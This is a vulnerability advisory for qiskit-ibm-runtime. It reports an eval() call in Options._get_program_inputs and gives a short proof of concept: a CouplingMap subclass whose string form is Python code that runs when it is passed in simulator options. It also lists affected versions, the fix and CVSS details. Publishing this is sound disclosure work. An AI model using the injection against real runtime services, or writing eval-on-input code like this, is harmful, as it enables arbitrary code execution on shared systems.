Dynamic Variable Evaluation in qiskit-ibm-runtime
Summary
An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.
Details
PoC
A local exploit would be something like
from qiskit import transpiler
class BadActor(transpiler.CouplingMap):
def __str__(self):
return "print('external code')"Where print("external code") can be any arbitrary python code string.
Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit
cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))
bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()
with Session(service=service, backend="ibmq_qasm_simulator") as session:
sampler = Sampler(session=session, options=options).run(bell)This will print external code
Impact
Security vulnerability.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | qiskit-ibm-runtime | >= 0.11.0, < 0.11.1 | 0.11.1 |
References
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N- Weakness (CWE)
CWE-627- Platform
- Python (PyPI)
- Package
qiskit-ibm-runtime- Disclosed
- 20.03.2024
- Updated
- 11.10.2026 12:18
Sources and licenses
OSV / GitHub Advisory Database - GHSA-cq96-9974-v8hm - CC BY 4.0
Vulnerability history: qiskit-ibm-runtime
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 03.2024 03.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 1
- Low 1
Disclosures per year
- 2024: 2
- 2025: 0
- 2026: 0
-
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